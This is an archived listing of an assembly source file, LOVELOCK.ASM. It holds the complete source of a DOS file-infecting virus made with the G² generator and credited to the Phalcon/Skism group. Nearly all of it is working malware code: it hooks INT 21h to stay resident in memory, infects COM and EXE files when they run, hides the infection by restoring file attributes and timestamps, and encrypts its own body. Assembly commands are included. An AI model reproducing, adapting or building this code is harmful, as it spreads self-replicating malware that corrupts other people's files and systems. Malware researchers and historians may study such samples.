home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LOVELOCK.ASM < prev    next >
Assembly Source File  |  1996-04-06  |  11KB  |  353 lines

  1. ; Virus generated by G² 0.70ß
  2. ; G² written by Dark Angel of Phalcon/Skism
  3.                 
  4. ; File: LOVELOCK.ASM
  5. ;     Lovelock by Ender
  6.                 
  7. checkres1       =       'DA'
  8. checkres2       =       'PS'
  9. id              =       'DA'
  10.                 
  11.         .model  tiny
  12.         .code   
  13.                 
  14. ; Assemble with:
  15. ; TASM /m3 filename.ASM
  16. ; TLINK filename.OBJ
  17. ; EXE2BIN filename.EXE filename.COM
  18.         org     0000h
  19.                 
  20. start:
  21. ENCRYPT:
  22. patchstart:
  23.         mov     bx, offset endencrypt
  24.         mov     cx, (heap-endencrypt)/2+1
  25. encrypt_loop:
  26.         db      002Eh                   ; cs:
  27.         db      0081h,0037h             ; xor word ptr [bx], xxxx
  28. encryptvalue    dw      0000h
  29.         inc     bx
  30.         inc     bx
  31.         loop    encrypt_loop
  32. endencrypt:
  33.         call    next
  34. next:
  35.         pop     bp
  36.         sub     bp, offset next
  37.                 
  38.         push    es
  39.         push    ds
  40.                 
  41.         mov     ax, checkres1           ; Installation check
  42.         int     0021h
  43.         cmp     ax, checkres2           ; Already installed?
  44.         jz      done_install
  45.                 
  46.         mov     ax, ds
  47.         dec     ax
  48.         mov     ds, ax
  49.                 
  50.         sub     word ptr ds:[0003h], (endheap-start+15)/16+1
  51.         sub     word ptr ds:[0012h], (endheap-start+15)/16+1
  52.         mov     ax, ds:[0012h]
  53.         mov     ds, ax
  54.         inc     ax
  55.         mov     es, ax
  56.         mov     byte ptr ds:[0000h], 'Z'
  57.         mov     word ptr ds:[0001h], 0008h
  58.         mov     word ptr ds:[0003h], (endheap-start+15)/16
  59.                 
  60.         push    cs
  61.         pop     ds
  62.         xor     di, di
  63.         mov     cx, (heap-start)/2+1    ; Bytes to move
  64.         mov     si, bp                  ; lea  si,[bp+offset start]
  65.         rep     movsw   
  66.                 
  67.         xor     ax, ax
  68.         mov     ds, ax
  69.         push    ds
  70.         lds     ax, ds:[21h*4]          ; Get old int handler
  71.         mov     word ptr es:oldint21, ax
  72.         mov     word ptr es:oldint21+2, ds
  73.         pop     ds
  74.         mov     word ptr ds:[21h*4], offset int21 ; Replace with new handler
  75.         mov     ds:[21h*4+2], es        ; in high memory
  76.                 
  77. done_install:
  78.         pop     ds
  79.         pop     es
  80.         cmp     sp, id
  81.         jne     restore_COM
  82. restore_EXE:
  83.         mov     ax, es
  84.         add     ax, 0010h
  85.         add     cs:[bp+word ptr origCSIP+2], ax
  86.         add     ax, cs:[bp+word ptr origSPSS]
  87.         cli     
  88.         mov     ss, ax
  89.         mov     sp, cs:[bp+word ptr origSPSS+2]
  90.         sti     
  91.         db      00EAh
  92. origCSIP        db      ?
  93. old3            db      0cdh,20h,0
  94. origSPSS        dd      ?
  95.                 
  96. restore_COM:
  97.         mov     di, 0100h
  98.         push    di
  99.         lea     si, [bp+offset old3]
  100.         movsb   
  101.         movsw   
  102.         ret     
  103.                 
  104. INT24:
  105.         mov     al, 0003h
  106.         iret    
  107.                 
  108. int21:
  109.         push    ax
  110.         push    bx
  111.         push    cx
  112.         push    dx
  113.         push    si
  114.         push    di
  115.         push    ds
  116.         push    es
  117.                 
  118.         cmp     ax, 4B00h               ; execute?
  119.         jz      execute
  120. return:
  121.         jmp     exitint21
  122. execute:
  123.         mov     word ptr cs:filename, dx
  124.         mov     word ptr cs:filename+2, ds
  125.         mov     ax, 3524h
  126.         int     0021h
  127.         push    es
  128.         push    bx
  129.                 
  130.         mov     ax, 2524h
  131.         lea     dx, INT24               ; ASSumes ds=cs
  132.         int     0021h
  133.                 
  134.         push    cs
  135.         pop     es
  136.                 
  137.                 
  138.         mov     bx, dx
  139.         cmp     word ptr [bx+4], 'NA'   ; Check if COMMAND.COM
  140.         jz      return                  ; Exit if so
  141.                 
  142.         lds     dx, cs:filename
  143.         mov     ax, 4300h
  144.         int     0021h
  145.         jc      return
  146.         push    cx
  147.         push    ds
  148.         push    dx
  149.                 
  150.         mov     ax, 4301h               ; clear file attributes
  151.         push    ax                      ; save for later use
  152.         xor     cx, cx
  153.         int     0021h
  154.                 
  155.         lds     dx, cs:filename
  156.         mov     ax, 3D02h
  157.         int     0021h
  158.         xchg    ax, bx
  159.                 
  160.         push    cs
  161.         pop     ds
  162.                 
  163.         mov     ax, 5700h               ; get file time/date
  164.         int     0021h
  165.         push    cx
  166.         push    dx
  167.                 
  168.         mov     dx, offset readbuffer
  169.         mov     ah, 003Fh
  170.         mov     cx, 001Ah
  171.         int     0021h
  172.                 
  173.         xor     dx, dx
  174.         xor     cx, cx
  175.         mov     ax, 4202h
  176.         int     0021h
  177.                 
  178.         cmp     word ptr [offset readbuffer], 'ZM'
  179.         jz      checkEXE
  180.                 
  181.         mov     cx, word ptr [offset readbuffer+1] ; jmp location
  182.         add     cx, heap-start+3        ; convert to filesize
  183.         cmp     ax, cx                  ; equal if already infected
  184.         jz      jmp_close
  185.                 
  186.         cmp     ax, 65535-(endheap-start) ; check if too large
  187.         ja      jmp_close               ; Exit if so
  188.                 
  189.         cmp     ax, (heap-start)        ; check if too small
  190.         jb      jmp_close               ; Exit if so
  191.                 
  192.         mov     di, offset old3
  193.         mov     si, offset readbuffer
  194.         movsw   
  195.         movsb   
  196.                 
  197.         mov     si, ax                  ; save entry point
  198.         add     si, 0100h
  199.         mov     cx, 0003h
  200.         sub     ax, cx
  201.         mov     word ptr [offset readbuffer+1], ax
  202.         mov     dl, 00E9h
  203.         mov     byte ptr [offset readbuffer], dl
  204.         jmp     short continue_infect
  205. checkEXE:
  206.         cmp     word ptr [offset readbuffer+10h], id
  207.         jnz     skipp
  208. jmp_close:
  209.         jmp     close
  210. skipp:
  211.                 
  212.         lea     si, readbuffer+14h
  213.         lea     di, origCSIP
  214.         movsw                           ; Save original CS and IP
  215.         movsw   
  216.                 
  217.         sub     si, 000Ah
  218.         movsw                           ; Save original SS and SP
  219.         movsw   
  220.                 
  221.         push    bx                      ; save file handle
  222.         mov     bx, word ptr [readbuffer+8] ; Header size in paragraphs
  223.         mov     cl, 0004h
  224.         shl     bx, cl
  225.                 
  226.         push    dx                      ; Save file size on the
  227.         push    ax                      ; stack
  228.                 
  229.         sub     ax, bx                  ; File size - Header size
  230.         sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
  231.                 
  232.         mov     cx, 0010h
  233.         div     cx                      ; DX:AX/CX = AX Remainder DX
  234.                 
  235.         mov     word ptr [readbuffer+10h], id ; Initial SP
  236.         mov     word ptr [readbuffer+0Eh], ax ; Para disp stack segment
  237.         mov     word ptr [readbuffer+14h], dx ; IP Offset
  238.         mov     word ptr [readbuffer+16h], ax ; Para disp CS in module.
  239.                 
  240.         mov     si, dx                  ; save entry point
  241.         pop     ax                      ; Filelength in DX:AX
  242.         pop     dx
  243.                 
  244.         add     ax, heap-start
  245.         adc     dx, 0000h
  246.                 
  247.         mov     cl, 0009h
  248.         push    ax
  249.         shr     ax, cl
  250.         ror     dx, cl
  251.         stc     
  252.         adc     dx, ax
  253.         pop     ax
  254.         and     ah, 0001h
  255.                 
  256.         mov     word ptr [readbuffer+2], ax ; the EXE header.
  257.         mov     word ptr [readbuffer+4], dx ; Fix-up the file size in
  258.                 
  259.         pop     bx                      ; restore file handle
  260.         mov     cx, 001Ah
  261.                 
  262. continue_infect:
  263.         push    cx                      ; save # bytes to write
  264.                 
  265. get_encrypt_value:
  266.         mov     ah, 002Ch               ; Get current time
  267.         int     0021h
  268.                 
  269.         or      dx, dx                  ; Check if encryption value = 0
  270.         jz      get_encrypt_value       ; Get another if it is
  271.                 
  272.         add     si, (offset endencrypt-offset encrypt)
  273.         mov     word ptr ds:[patchstart+1], si
  274.         mov     word ptr ds:[encryptvalue], dx
  275.                 
  276.         mov     cx, (heap-encrypt)/2
  277.         mov     di, offset encryptbuffer
  278.         mov     si, offset ENCRYPT
  279.         push    si
  280.         rep     movsw                   ; copy virus to buffer
  281.                 
  282.         mov     ax, offset endencrypt-encrypt+encryptbuffer
  283.         mov     word ptr ds:[patchstart+1], ax
  284.         pop     si
  285.         push    offset endencrypt
  286.         mov     byte ptr [offset endencrypt], 00C3h ; retn
  287.         push    bx
  288.         call    si                      ; encrypt virus in buffer
  289.         pop     bx
  290.         pop     word ptr [offset endencrypt]
  291.                 
  292.                 
  293.         mov     ah, 0040h
  294.         mov     cx, heap-encrypt
  295.         mov     dx, offset encryptbuffer
  296.         int     0021h
  297.                 
  298.         xor     cx, cx
  299.         mov     ax, 4200h
  300.         xor     dx, dx
  301.         int     0021h
  302.                 
  303.                 
  304.         mov     dx, offset readbuffer
  305.         mov     ah, 0040h
  306.         pop     cx
  307.         int     0021h
  308.                 
  309.                 
  310. close:
  311.         mov     ax, 5701h               ; restore file time/date
  312.         pop     dx
  313.         pop     cx
  314.         int     0021h
  315.                 
  316.         mov     ah, 003Eh
  317.         int     0021h
  318.                 
  319.         pop     ax                      ; restore file attributes
  320.         pop     dx                      ; get filename and
  321.         pop     ds
  322.         pop     cx                      ; attributes from stack
  323.         int     0021h
  324.                 
  325.         pop     dx
  326.         pop     ds
  327.         mov     ax, 2524h
  328.         int     0021h
  329.                 
  330. exitint21:
  331.         pop     es
  332.         pop     ds
  333.         pop     di
  334.         pop     si
  335.         pop     dx
  336.         pop     cx
  337.         pop     bx
  338.         pop     ax
  339.                 
  340.         db      00EAh                   ; return to original handler
  341. oldint21        dd      ?
  342.                 
  343. signature       db      '[PS/G²]',0     ; Phalcon/Skism G²
  344. creator         db      'Ender',0
  345. virusname       db      'Lovelock',0
  346.                 
  347. heap:
  348. encryptbuffer   db      (heap-encrypt)+1 dup (?)
  349. filename        dd      ?
  350. readbuffer      db      1ah dup (?)
  351. endheap:
  352.         end     start
  353.